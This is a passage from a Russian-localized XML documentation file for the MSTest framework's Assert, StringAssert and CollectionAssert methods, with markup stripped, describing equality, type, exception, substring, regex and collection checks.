запятой для сравнения. Это — ожидаемое тестом число. - - - Второе число с плавающей запятой для сравнения. Это — число, созданное тестируемым кодом. - - - Требуемая точность. Исключение будет создано, только если - отличается от - более чем на . - - - Thrown if is not equal to - . - - - - - Проверяет указанные числа с плавающей запятой на равенство и создает исключение, - если они не равны. - - - Первое число с плавающей запятой для сравнения. Это — ожидаемое тестом число. - - - Второе число с плавающей запятой для сравнения. Это — число, созданное тестируемым кодом. - - - Требуемая точность. Исключение будет создано, только если - отличается от - более чем на . - - - Сообщение, которое будет добавлено в исключение, если - отличается от более чем на - . Сообщение отображается в результатах тестирования. - - - Thrown if is not equal to - . - - - - - Проверяет указанные числа с плавающей запятой на равенство и создает исключение, - если они не равны. - - - Первое число с плавающей запятой для сравнения. Это — ожидаемое тестом число. - - - Второе число с плавающей запятой для сравнения. Это — число, созданное тестируемым кодом. - - - Требуемая точность. Исключение будет создано, только если - отличается от - более чем на . - - - Сообщение, которое будет добавлено в исключение, если - отличается от более чем на - . Сообщение отображается в результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if is not equal to - . - - - - - Проверяет указанные числа с плавающей запятой на неравенство и создает исключение, - если они равны. - - - Первое число с плавающей запятой для сравнения. Это число с плавающей запятой с точки зрения теста не должно - соответствовать . - - - Второе число с плавающей запятой для сравнения. Это — число, созданное тестируемым кодом. - - - Требуемая точность. Исключение будет создано, только если - отличается от - не более чем на . - - - Thrown if is equal to . - - - - - Проверяет указанные числа с плавающей запятой на неравенство и создает исключение, - если они равны. - - - Первое число с плавающей запятой для сравнения. Это число с плавающей запятой с точки зрения теста не должно - соответствовать . - - - Второе число с плавающей запятой для сравнения. Это — число, созданное тестируемым кодом. - - - Требуемая точность. Исключение будет создано, только если - отличается от - не более чем на . - - - Сообщение, которое будет добавлено в исключение, если - равен или отличается менее чем на - . Сообщение отображается в результатах тестирования. - - - Thrown if is equal to . - - - - - Проверяет указанные числа с плавающей запятой на неравенство и создает исключение, - если они равны. - - - Первое число с плавающей запятой для сравнения. Это число с плавающей запятой с точки зрения теста не должно - соответствовать . - - - Второе число с плавающей запятой для сравнения. Это — число, созданное тестируемым кодом. - - - Требуемая точность. Исключение будет создано, только если - отличается от - не более чем на . - - - Сообщение, которое будет добавлено в исключение, если - равен или отличается менее чем на - . Сообщение отображается в результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if is equal to . - - - - - Проверяет указанные числа с плавающей запятой двойной точности на равенство и создает исключение, - если они не равны. - - - Первое число с плавающей запятой двойной точности для сравнения. Это — ожидаемое тестом число. - - - Второе число с плавающей запятой двойной точности для сравнения. Это — число, созданное тестируемым кодом. - - - Требуемая точность. Исключение будет создано, только если - отличается от - более чем на . - - - Thrown if is not equal to - . - - - - - Проверяет указанные числа с плавающей запятой двойной точности на равенство и создает исключение, - если они не равны. - - - Первое число с плавающей запятой двойной точности для сравнения. Это — ожидаемое тестом число. - - - Второе число с плавающей запятой двойной точности для сравнения. Это — число, созданное тестируемым кодом. - - - Требуемая точность. Исключение будет создано, только если - отличается от - более чем на . - - - Сообщение, которое будет добавлено в исключение, если - отличается от более чем на - . Сообщение отображается в результатах тестирования. - - - Thrown if is not equal to . - - - - - Проверяет указанные числа с плавающей запятой двойной точности на равенство и создает исключение, - если они не равны. - - - Первое число с плавающей запятой двойной точности для сравнения. Это — ожидаемое тестом число. - - - Второе число с плавающей запятой двойной точности для сравнения. Это — число, созданное тестируемым кодом. - - - Требуемая точность. Исключение будет создано, только если - отличается от - более чем на . - - - Сообщение, которое будет добавлено в исключение, если - отличается от более чем на - . Сообщение отображается в результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if is not equal to . - - - - - Проверяет указанные числа с плавающей запятой двойной точности на неравенство и создает исключение, - если они равны. - - - Первое число с плавающей запятой двойной точности для сравнения. Это число с точки зрения теста не должно - соответствовать . - - - Второе число с плавающей запятой двойной точности для сравнения. Это — число, созданное тестируемым кодом. - - - Требуемая точность. Исключение будет создано, только если - отличается от - не более чем на . - - - Thrown if is equal to . - - - - - Проверяет указанные числа с плавающей запятой двойной точности на неравенство и создает исключение, - если они равны. - - - Первое число с плавающей запятой двойной точности для сравнения. Это число с точки зрения теста не должно - соответствовать . - - - Второе число с плавающей запятой двойной точности для сравнения. Это — число, созданное тестируемым кодом. - - - Требуемая точность. Исключение будет создано, только если - отличается от - не более чем на . - - - Сообщение, которое будет добавлено в исключение, если - равен или отличается менее чем на - . Сообщение отображается в результатах тестирования. - - - Thrown if is equal to . - - - - - Проверяет указанные числа с плавающей запятой двойной точности на неравенство и создает исключение, - если они равны. - - - Первое число с плавающей запятой двойной точности для сравнения. Это число с точки зрения теста не должно - соответствовать . - - - Второе число с плавающей запятой двойной точности для сравнения. Это — число, созданное тестируемым кодом. - - - Требуемая точность. Исключение будет создано, только если - отличается от - не более чем на . - - - Сообщение, которое будет добавлено в исключение, если - равен или отличается менее чем на - . Сообщение отображается в результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if is equal to . - - - - - Проверяет, равны ли указанные строки, и создает исключение, - если они не равны. При сравнении используются инвариантный язык и региональные параметры. - - - Первая сравниваемая строка. Это — ожидаемая тестом строка. - - - Вторая сравниваемая строка. Это — строка, созданная тестируемым кодом. - - - Логический параметр, означающий сравнение с учетом или без учета регистра. (True - означает сравнение с учетом регистра.) - - - Thrown if is not equal to . - - - - - Проверяет, равны ли указанные строки, и создает исключение, - если они не равны. При сравнении используются инвариантный язык и региональные параметры. - - - Первая сравниваемая строка. Это — ожидаемая тестом строка. - - - Вторая сравниваемая строка. Это — строка, созданная тестируемым кодом. - - - Логический параметр, означающий сравнение с учетом или без учета регистра. (True - означает сравнение с учетом регистра.) - - - Сообщение, которое будет добавлено в исключение, если - не равен . Сообщение отображается в - результатах тестирования. - - - Thrown if is not equal to . - - - - - Проверяет, равны ли указанные строки, и создает исключение, - если они не равны. При сравнении используются инвариантный язык и региональные параметры. - - - Первая сравниваемая строка. Это — ожидаемая тестом строка. - - - Вторая сравниваемая строка. Это — строка, созданная тестируемым кодом. - - - Логический параметр, означающий сравнение с учетом или без учета регистра. (True - означает сравнение с учетом регистра.) - - - Сообщение, которое будет добавлено в исключение, если - не равен . Сообщение отображается в - результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if is not equal to . - - - - - Проверяет указанные строки на равенство и создает исключение, - если они не равны. - - - Первая сравниваемая строка. Это — ожидаемая тестом строка. - - - Вторая сравниваемая строка. Это — строка, созданная тестируемым кодом. - - - Логический параметр, означающий сравнение с учетом или без учета регистра. (True - означает сравнение с учетом регистра.) - - - Объект CultureInfo, содержащий данные о языке и региональных стандартах, которые используются при сравнении. - - - Thrown if is not equal to . - - - - - Проверяет указанные строки на равенство и создает исключение, - если они не равны. - - - Первая сравниваемая строка. Это — ожидаемая тестом строка. - - - Вторая сравниваемая строка. Это — строка, созданная тестируемым кодом. - - - Логический параметр, означающий сравнение с учетом или без учета регистра. (True - означает сравнение с учетом регистра.) - - - Объект CultureInfo, содержащий данные о языке и региональных стандартах, которые используются при сравнении. - - - Сообщение, которое будет добавлено в исключение, если - не равен . Сообщение отображается в - результатах тестирования. - - - Thrown if is not equal to . - - - - - Проверяет указанные строки на равенство и создает исключение, - если они не равны. - - - Первая сравниваемая строка. Это — ожидаемая тестом строка. - - - Вторая сравниваемая строка. Это — строка, созданная тестируемым кодом. - - - Логический параметр, означающий сравнение с учетом или без учета регистра. (True - означает сравнение с учетом регистра.) - - - Объект CultureInfo, содержащий данные о языке и региональных стандартах, которые используются при сравнении. - - - Сообщение, которое будет добавлено в исключение, если - не равен . Сообщение отображается в - результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if is not equal to . - - - - - Проверяет строки на неравенство и создает исключение, - если они равны. При сравнении используются инвариантные язык и региональные параметры. - - - Первая сравниваемая строка. Эта строка не должна с точки зрения теста - соответствовать . - - - Вторая сравниваемая строка. Это — строка, созданная тестируемым кодом. - - - Логический параметр, означающий сравнение с учетом или без учета регистра. (True - означает сравнение с учетом регистра.) - - - Thrown if is equal to . - - - - - Проверяет строки на неравенство и создает исключение, - если они равны. При сравнении используются инвариантные язык и региональные параметры. - - - Первая сравниваемая строка. Эта строка не должна с точки зрения теста - соответствовать . - - - Вторая сравниваемая строка. Это — строка, созданная тестируемым кодом. - - - Логический параметр, означающий сравнение с учетом или без учета регистра. (True - означает сравнение с учетом регистра.) - - - Сообщение, которое будет добавлено в исключение, если - равен . Сообщение отображается в - результатах тестирования. - - - Thrown if is equal to . - - - - - Проверяет строки на неравенство и создает исключение, - если они равны. При сравнении используются инвариантные язык и региональные параметры. - - - Первая сравниваемая строка. Эта строка не должна с точки зрения теста - соответствовать . - - - Вторая сравниваемая строка. Это — строка, созданная тестируемым кодом. - - - Логический параметр, означающий сравнение с учетом или без учета регистра. (True - означает сравнение с учетом регистра.) - - - Сообщение, которое будет добавлено в исключение, если - равен . Сообщение отображается в - результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if is equal to . - - - - - Проверяет указанные строки на неравенство и создает исключение, - если они равны. - - - Первая сравниваемая строка. Эта строка не должна с точки зрения теста - соответствовать . - - - Вторая сравниваемая строка. Это — строка, созданная тестируемым кодом. - - - Логический параметр, означающий сравнение с учетом или без учета регистра. (True - означает сравнение с учетом регистра.) - - - Объект CultureInfo, содержащий данные о языке и региональных стандартах, которые используются при сравнении. - - - Thrown if is equal to . - - - - - Проверяет указанные строки на неравенство и создает исключение, - если они равны. - - - Первая сравниваемая строка. Эта строка не должна с точки зрения теста - соответствовать . - - - Вторая сравниваемая строка. Это — строка, созданная тестируемым кодом. - - - Логический параметр, означающий сравнение с учетом или без учета регистра. (True - означает сравнение с учетом регистра.) - - - Объект CultureInfo, содержащий данные о языке и региональных стандартах, которые используются при сравнении. - - - Сообщение, которое будет добавлено в исключение, если - равен . Сообщение отображается в - результатах тестирования. - - - Thrown if is equal to . - - - - - Проверяет указанные строки на неравенство и создает исключение, - если они равны. - - - Первая сравниваемая строка. Эта строка не должна с точки зрения теста - соответствовать . - - - Вторая сравниваемая строка. Это — строка, созданная тестируемым кодом. - - - Логический параметр, означающий сравнение с учетом или без учета регистра. (True - означает сравнение с учетом регистра.) - - - Объект CultureInfo, содержащий данные о языке и региональных стандартах, которые используются при сравнении. - - - Сообщение, которое будет добавлено в исключение, если - равен . Сообщение отображается в - результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if is equal to . - - - - - Проверяет, является ли указанный объект экземпляром ожидаемого - типа, и создает исключение, если ожидаемый тип отсутствует в - иерархии наследования объекта. - - - Объект, который с точки зрения теста должен иметь указанный тип. - - - Ожидаемый тип . - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Проверяет, является ли указанный объект экземпляром ожидаемого - типа, и создает исключение, если ожидаемый тип отсутствует в - иерархии наследования объекта. - - - Объект, который с точки зрения теста должен иметь указанный тип. - - - Ожидаемый тип . - - - Сообщение, которое будет добавлено в исключение, если - не является экземпляром . Сообщение - отображается в результатах тестирования. - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Проверяет, является ли указанный объект экземпляром ожидаемого - типа, и создает исключение, если ожидаемый тип отсутствует в - иерархии наследования объекта. - - - Объект, который с точки зрения теста должен иметь указанный тип. - - - Ожидаемый тип . - - - Сообщение, которое будет добавлено в исключение, если - не является экземпляром . Сообщение - отображается в результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Проверяет, является ли указанный объект экземпляром неправильного - типа, и создает исключение, если указанный тип присутствует в - иерархии наследования объекта. - - - Объект, который с точки зрения теста не должен иметь указанный тип. - - - Тип, который параметр иметь не должен. - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Проверяет, является ли указанный объект экземпляром неправильного - типа, и создает исключение, если указанный тип присутствует в - иерархии наследования объекта. - - - Объект, который с точки зрения теста не должен иметь указанный тип. - - - Тип, который параметр иметь не должен. - - - Сообщение, которое будет добавлено в исключение, если - является экземпляром класса . Сообщение отображается - в результатах тестирования. - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Проверяет, является ли указанный объект экземпляром неправильного - типа, и создает исключение, если указанный тип присутствует в - иерархии наследования объекта. - - - Объект, который с точки зрения теста не должен иметь указанный тип. - - - Тип, который параметр иметь не должен. - - - Сообщение, которое будет добавлено в исключение, если - является экземпляром класса . Сообщение отображается - в результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Создает исключение AssertFailedException. - - - Always thrown. - - - - - Создает исключение AssertFailedException. - - - Сообщение, которое нужно добавить в исключение. Это сообщение отображается - в результатах теста. - - - Always thrown. - - - - - Создает исключение AssertFailedException. - - - Сообщение, которое нужно добавить в исключение. Это сообщение отображается - в результатах теста. - - - Массив параметров для использования при форматировании . - - - Always thrown. - - - - - Создает исключение AssertInconclusiveException. - - - Always thrown. - - - - - Создает исключение AssertInconclusiveException. - - - Сообщение, которое нужно добавить в исключение. Это сообщение отображается - в результатах теста. - - - Always thrown. - - - - - Создает исключение AssertInconclusiveException. - - - Сообщение, которое нужно добавить в исключение. Это сообщение отображается - в результатах теста. - - - Массив параметров для использования при форматировании . - - - Always thrown. - - - - - Статические переопределения равенства используются для сравнения экземпляров двух типов на равенство - ссылок. Этот метод не должен использоваться для сравнения двух экземпляров на - равенство. Этот объект всегда создает исключение с Assert.Fail. Используйте в ваших модульных тестах - Assert.AreEqual и связанные переопределения. - - Объект A - Объект B - False (всегда). - - - - Проверяет, создает ли код, указанный в делегате , заданное исключение типа (не производного), - и создает исключение - - AssertFailedException, - - если код не создает исключение, или создает исключение типа, отличного от . - - - Делегат для проверяемого кода, который должен создать исключение. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Тип ожидаемого исключения. - - - - - Проверяет, создает ли код, указанный в делегате , заданное исключение типа (не производного), - и создает исключение - - AssertFailedException, - - если код не создает исключение, или создает исключение типа, отличного от . - - - Делегат для проверяемого кода, который должен создать исключение. - - - Сообщение, которое будет добавлено в исключение, если - не создает исключение типа . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Тип ожидаемого исключения. - - - - - Проверяет, создает ли код, указанный в делегате , заданное исключение типа (не производного), - и создает исключение - - AssertFailedException, - - если код не создает исключение, или создает исключение типа, отличного от . - - - Делегат для проверяемого кода, который должен создать исключение. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Тип ожидаемого исключения. - - - - - Проверяет, создает ли код, указанный в делегате , заданное исключение типа (не производного), - и создает исключение - - AssertFailedException, - - если код не создает исключение, или создает исключение типа, отличного от . - - - Делегат для проверяемого кода, который должен создать исключение. - - - Сообщение, которое будет добавлено в исключение, если - не создает исключение типа . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Тип ожидаемого исключения. - - - - - Проверяет, создает ли код, указанный в делегате , заданное исключение типа (не производного), - и создает исключение - - AssertFailedException, - - если код не создает исключение, или создает исключение типа, отличного от . - - - Делегат для проверяемого кода, который должен создать исключение. - - - Сообщение, которое будет добавлено в исключение, если - не создает исключение типа . - - - Массив параметров для использования при форматировании . - - - Type of exception expected to be thrown. - - - Thrown if does not throw exception of type . - - - Тип ожидаемого исключения. - - - - - Проверяет, создает ли код, указанный в делегате , заданное исключение типа (не производного), - и создает исключение - - AssertFailedException, - - если код не создает исключение, или создает исключение типа, отличного от . - - - Делегат для проверяемого кода, который должен создать исключение. - - - Сообщение, которое будет добавлено в исключение, если - не создает исключение типа . - - - Массив параметров для использования при форматировании . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Тип ожидаемого исключения. - - - - - Проверяет, создает ли код, указанный в делегате , заданное исключение типа (не производного), - и создает исключение - - AssertFailedException, - - если код не создает исключение, или создает исключение типа, отличного от . - - - Делегат для проверяемого кода, который должен создать исключение. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - выполнение делегата. - - - - - Проверяет, создает ли код, указанный с помощью делегата , в точности заданное исключение типа (и не производного типа ), - и создает исключение AssertFailedException , если код не создает исключение, или создает исключение типа, отличного от . - - Делегат для проверяемого кода, который должен создать исключение. - - Сообщение, которое будет добавлено в исключение, если - не создает исключение типа . - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - выполнение делегата. - - - - - Проверяет, создает ли код, указанный с помощью делегата , в точности заданное исключение типа (и не производного типа ), - и создает исключение AssertFailedException , если код не создает исключение, или создает исключение типа, отличного от . - - Делегат для проверяемого кода, который должен создать исключение. - - Сообщение, которое будет добавлено в исключение, если - не создает исключение типа . - - - Массив параметров для использования при форматировании . - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - выполнение делегата. - - - - - Заменяет NULL-символы ("\0") символами "\\0". - - - Искомая строка. - - - Преобразованная строка, в которой NULL-символы были заменены на "\\0". - - - This is only public and still present to preserve compatibility with the V1 framework. - - - - - Вспомогательная функция, которая создает и вызывает AssertionFailedException - - - имя утверждения, создавшего исключение - - - сообщение с описанием условий для сбоя утверждения - - - Параметры. - - - - - Проверяет параметр на допустимые условия - - - Параметр. - - - Имя утверждения. - - - имя параметра - - - сообщение об исключении, связанном с недопустимым параметром - - - Параметры. - - - - - Безопасно преобразует объект в строку, обрабатывая значения NULL и NULL-символы. - Значения NULL преобразуются в "(null)", NULL-символы — в "\\0". - - - Объект для преобразования в строку. - - - Преобразованная строка. - - - - - Утверждение строки. - - - - - Получает одноэлементный экземпляр функции CollectionAssert. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void ContainsWords(this StringAssert cusomtAssert, string value, ICollection substrings)" - Users could then use a syntax similar to the default assertions which in this case is "StringAssert.That.ContainsWords(value, substrings);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Проверяет, содержит ли указанная строка заданную подстроку, - и создает исключение, если подстрока не содержится - в тестовой строке. - - - Строка, которая должна содержать . - - - Строка, которая должна входить в . - - - Thrown if is not found in - . - - - - - Проверяет, содержит ли указанная строка заданную подстроку, - и создает исключение, если подстрока не содержится - в тестовой строке. - - - Строка, которая должна содержать . - - - Строка, которая должна входить в . - - - Сообщение, которое будет добавлено в исключение, если - не находится в . Сообщение отображается в - результатах тестирования. - - - Thrown if is not found in - . - - - - - Проверяет, содержит ли указанная строка заданную подстроку, - и создает исключение, если подстрока не содержится - в тестовой строке. - - - Строка, которая должна содержать . - - - Строка, которая должна входить в . - - - Сообщение, которое будет добавлено в исключение, если - не находится в . Сообщение отображается в - результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if is not found in - . - - - - - Проверяет, начинается ли указанная строка с указанной подстроки, - и создает исключение, если тестовая строка не начинается - с подстроки. - - - Строка, которая должна начинаться с . - - - Строка, которая должна быть префиксом . - - - Thrown if does not begin with - . - - - - - Проверяет, начинается ли указанная строка с указанной подстроки, - и создает исключение, если тестовая строка не начинается - с подстроки. - - - Строка, которая должна начинаться с . - - - Строка, которая должна быть префиксом . - - - Сообщение, которое будет добавлено в исключение, если - не начинается с . Сообщение - отображается в результатах тестирования. - - - Thrown if does not begin with - . - - - - - Проверяет, начинается ли указанная строка с указанной подстроки, - и создает исключение, если тестовая строка не начинается - с подстроки. - - - Строка, которая должна начинаться с . - - - Строка, которая должна быть префиксом . - - - Сообщение, которое будет добавлено в исключение, если - не начинается с . Сообщение - отображается в результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if does not begin with - . - - - - - Проверяет, заканчивается ли указанная строка заданной подстрокой, - и создает исключение, если тестовая строка не заканчивается - заданной подстрокой. - - - Строка, которая должна заканчиваться на . - - - Строка, которая должна быть суффиксом . - - - Thrown if does not end with - . - - - - - Проверяет, заканчивается ли указанная строка заданной подстрокой, - и создает исключение, если тестовая строка не заканчивается - заданной подстрокой. - - - Строка, которая должна заканчиваться на . - - - Строка, которая должна быть суффиксом . - - - Сообщение, которое будет добавлено в исключение, если - не заканчивается на . Сообщение - отображается в результатах тестирования. - - - Thrown if does not end with - . - - - - - Проверяет, заканчивается ли указанная строка заданной подстрокой, - и создает исключение, если тестовая строка не заканчивается - заданной подстрокой. - - - Строка, которая должна заканчиваться на . - - - Строка, которая должна быть суффиксом . - - - Сообщение, которое будет добавлено в исключение, если - не заканчивается на . Сообщение - отображается в результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if does not end with - . - - - - - Проверяет, соответствует ли указанная строка регулярному выражению, - и создает исключение, если строка не соответствует регулярному выражению. - - - Строка, которая должна соответствовать . - - - Регулярное выражение, которому параметр должен - соответствовать. - - - Thrown if does not match - . - - - - - Проверяет, соответствует ли указанная строка регулярному выражению, - и создает исключение, если строка не соответствует регулярному выражению. - - - Строка, которая должна соответствовать . - - - Регулярное выражение, которому параметр должен - соответствовать. - - - Сообщение, которое будет добавлено в исключение, если - не соответствует . Сообщение отображается в - результатах тестирования. - - - Thrown if does not match - . - - - - - Проверяет, соответствует ли указанная строка регулярному выражению, - и создает исключение, если строка не соответствует регулярному выражению. - - - Строка, которая должна соответствовать . - - - Регулярное выражение, которому параметр должен - соответствовать. - - - Сообщение, которое будет добавлено в исключение, если - не соответствует . Сообщение отображается в - результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if does not match - . - - - - - Проверяет, не соответствует ли указанная строка регулярному выражению, - и создает исключение, если строка соответствует регулярному выражению. - - - Строка, которая не должна соответствовать . - - - Регулярное выражение, которому параметр не должен - соответствовать. - - - Thrown if matches . - - - - - Проверяет, не соответствует ли указанная строка регулярному выражению, - и создает исключение, если строка соответствует регулярному выражению. - - - Строка, которая не должна соответствовать . - - - Регулярное выражение, которому параметр не должен - соответствовать. - - - Сообщение, которое будет добавлено в исключение, если - соответствует . Сообщение отображается в результатах - тестирования. - - - Thrown if matches . - - - - - Проверяет, не соответствует ли указанная строка регулярному выражению, - и создает исключение, если строка соответствует регулярному выражению. - - - Строка, которая не должна соответствовать . - - - Регулярное выражение, которому параметр не должен - соответствовать. - - - Сообщение, которое будет добавлено в исключение, если - соответствует . Сообщение отображается в результатах - тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if matches . - - - - - Коллекция вспомогательных классов для тестирования различных условий, связанных - с коллекциями в модульных тестах. Если проверяемое условие - ложно, создается исключение. - - - - - Получает одноэлементный экземпляр функции CollectionAssert. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void AreEqualUnordered(this CollectionAssert cusomtAssert, ICollection expected, ICollection actual)" - Users could then use a syntax similar to the default assertions which in this case is "CollectionAssert.That.AreEqualUnordered(list1, list2);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Проверяет, содержит ли заданная коллекция указанный элемент, - и создает исключение, если элемент не входит в коллекцию. - - - Коллекция, в которой выполняется поиск элемента. - - - Элемент, который должен входить в коллекцию. - - - Thrown if is not found in - . - - - - - Проверяет, содержит ли заданная коллекция указанный элемент, - и создает исключение, если элемент не входит в коллекцию. - - - Коллекция, в которой выполняется поиск элемента. - - - Элемент, который должен входить в коллекцию. - - - Сообщение, которое будет добавлено в исключение, если - не находится в . Сообщение отображается в - результатах тестирования. - - - Thrown if is not found in - . - - - - - Проверяет, содержит ли заданная коллекция указанный элемент, - и создает исключение, если элемент не входит в коллекцию. - - - Коллекция, в которой выполняется поиск элемента. - - - Элемент, который должен входить в коллекцию. - - - Сообщение, которое будет добавлено в исключение, если - не находится в . Сообщение отображается в - результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if is not found in - . - - - - - Проверяет, содержит ли коллекция указанный элемент, - и создает исключение, если элемент входит в коллекцию. - - - Коллекция, в которой выполняется поиск элемента. - - - Элемент, который не должен входить в коллекцию. - - - Thrown if is found in - . - - - - - Проверяет, содержит ли коллекция указанный элемент, - и создает исключение, если элемент входит в коллекцию. - - - Коллекция, в которой выполняется поиск элемента. - - - Элемент, который не должен входить в коллекцию. - - - Сообщение, которое будет добавлено в исключение, если - находится в . Сообщение отображается в результатах - тестирования. - - - Thrown if is found in - . - - - - - Проверяет, содержит ли коллекция указанный элемент, - и создает исключение, если элемент входит в коллекцию. - - - Коллекция, в которой выполняется поиск элемента. - - - Элемент, который не должен входить в коллекцию. - - - Сообщение, которое будет добавлено в исключение, если - находится в . Сообщение отображается в результатах - тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if is found in - . - - - - - Проверяет, все ли элементы в указанной коллекции имеют значения, отличные от NULL, - и создает исключение, если какой-либо элемент имеет значение NULL. - - - Коллекция, в которой выполняется поиск элементов, имеющих значение NULL. - - - Thrown if a null element is found in . - - - - - Проверяет, все ли элементы в указанной коллекции имеют значения, отличные от NULL, - и создает исключение, если какой-либо элемент имеет значение NULL. - - - Коллекция, в которой выполняется поиск элементов, имеющих значение NULL. - - - Сообщение, которое будет добавлено в исключение, если - содержит элемент, равный NULL. Сообщение отображается в результатах теста. - - - Thrown if a null element is found in . - - - - - Проверяет, все ли элементы в указанной коллекции имеют значения, отличные от NULL, - и создает исключение, если какой-либо элемент имеет значение NULL. - - - Коллекция, в которой выполняется поиск элементов, имеющих значение NULL. - - - Сообщение, которое будет добавлено в исключение, если - содержит элемент, равный NULL. Сообщение отображается в результатах теста. - - - Массив параметров для использования при форматировании . - - - Thrown if a null element is found in . - - - - - Проверяет, уникальны ли все элементы в указанной коллекции, - и создает исключение, если любые два элемента в коллекции равны. - - - Коллекция, в которой выполняется поиск дубликатов элементов. - - - Thrown if a two or more equal elements are found in - . - - - - - Проверяет, уникальны ли все элементы в указанной коллекции, - и создает исключение, если любые два элемента в коллекции равны. - - - Коллекция, в которой выполняется поиск дубликатов элементов. - - - Сообщение, которое будет добавлено в исключение, если - содержит как минимум один элемент-дубликат. Это сообщение отображается в - результатах теста. - - - Thrown if a two or more equal elements are found in - . - - - - - Проверяет, уникальны ли все элементы в указанной коллекции, - и создает исключение, если любые два элемента в коллекции равны. - - - Коллекция, в которой выполняется поиск дубликатов элементов. - - - Сообщение, которое будет добавлено в исключение, если - содержит как минимум один элемент-дубликат. Это сообщение отображается в - результатах теста. - - - Массив параметров для использования при форматировании . - - - Thrown if a two or more equal elements are found in - . - - - - - Проверяет, является ли коллекция подмножеством другой коллекции, и - создает исключение, если любой элемент подмножества не является также элементом - супермножества. - - - Коллекция, которая должна быть подмножеством . - - - Коллекция, которая должна быть супермножеством - - - Thrown if an element in is not found in - . - - - - - Проверяет, является ли коллекция подмножеством другой коллекции, и - создает исключение, если любой элемент подмножества не является также элементом - супермножества. - - - Коллекция, которая должна быть подмножеством . - - - Коллекция, которая должна быть супермножеством - - - Сообщение, которое будет добавлено в исключение, если элемент в - не обнаружен в . - Сообщение отображается в результатах тестирования. - - - Thrown if an element in is not found in - . - - - - - Проверяет, является ли коллекция подмножеством другой коллекции, и - создает исключение, если любой элемент подмножества не является также элементом - супермножества. - - - Коллекция, которая должна быть подмножеством . - - - Коллекция, которая должна быть супермножеством - - - Сообщение, которое будет добавлено в исключение, если элемент в - не обнаружен в . - Сообщение отображается в результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if an element in is not found in - . - - - - - Проверяет, не является ли коллекция подмножеством другой коллекции, и - создает исключение, если все элементы подмножества также входят в - супермножество. - - - Коллекция, которая не должна быть подмножеством . - - - Коллекция, которая не должна быть супермножеством - - - Thrown if every element in is also found in - . - - - - - Проверяет, не является ли коллекция подмножеством другой коллекции, и - создает исключение, если все элементы подмножества также входят в - супермножество. - - - Коллекция, которая не должна быть подмножеством . - - - Коллекция, которая не должна быть супермножеством - - - Сообщение, которое будет добавлено в исключение, если каждый элемент в - также обнаружен в . - Сообщение отображается в результатах тестирования. - - - Thrown if every element in is also found in - . - - - - - Проверяет, не является ли коллекция подмножеством другой коллекции, и - создает исключение, если все элементы подмножества также входят в - супермножество. - - - Коллекция, которая не должна быть подмножеством . - - - Коллекция, которая не должна быть супермножеством - - - Сообщение, которое будет добавлено в исключение, если каждый элемент в - также обнаружен в . - Сообщение отображается в результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if every element in is also found in - . - - - - - Проверяет, содержат ли две коллекции одинаковые элементы, и создает - исключение, если в любой из коллекций есть непарные - элементы. - - - Первая сравниваемая коллекция. Она содержит ожидаемые тестом - элементы. - - - Вторая сравниваемая коллекция. Это — коллекция, созданная - тестируемым кодом. - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Проверяет, содержат ли две коллекции одинаковые элементы, и создает - исключение, если в любой из коллекций есть непарные - элементы. - - - Первая сравниваемая коллекция. Она содержит ожидаемые тестом - элементы. - - - Вторая сравниваемая коллекция. Это — коллекция, созданная - тестируемым кодом. - - - Сообщение, которое будет добавлено в исключение, если элемент был обнаружен - в одной коллекции, но не обнаружен в другой. Это сообщение отображается - в результатах теста. - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Проверяет, содержат ли две коллекции одинаковые элементы, и создает - исключение, если в любой из коллекций есть непарные - элементы. - - - Первая сравниваемая коллекция. Она содержит ожидаемые тестом - элементы. - - - Вторая сравниваемая коллекция. Это — коллекция, созданная - тестируемым кодом. - - - Сообщение, которое будет добавлено в исключение, если элемент был обнаружен - в одной коллекции, но не обнаружен в другой. Это сообщение отображается - в результатах теста. - - - Массив параметров для использования при форматировании . - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Проверяет, содержат ли две коллекции разные элементы, и создает - исключение, если две коллекции содержат одинаковые элементы (без учета - порядка). - - - Первая сравниваемая коллекция. Она содержит элементы, которые должны - отличаться от фактической коллекции с точки зрения теста. - - - Вторая сравниваемая коллекция. Это — коллекция, созданная - тестируемым кодом. - - - Thrown if the two collections contained the same elements, 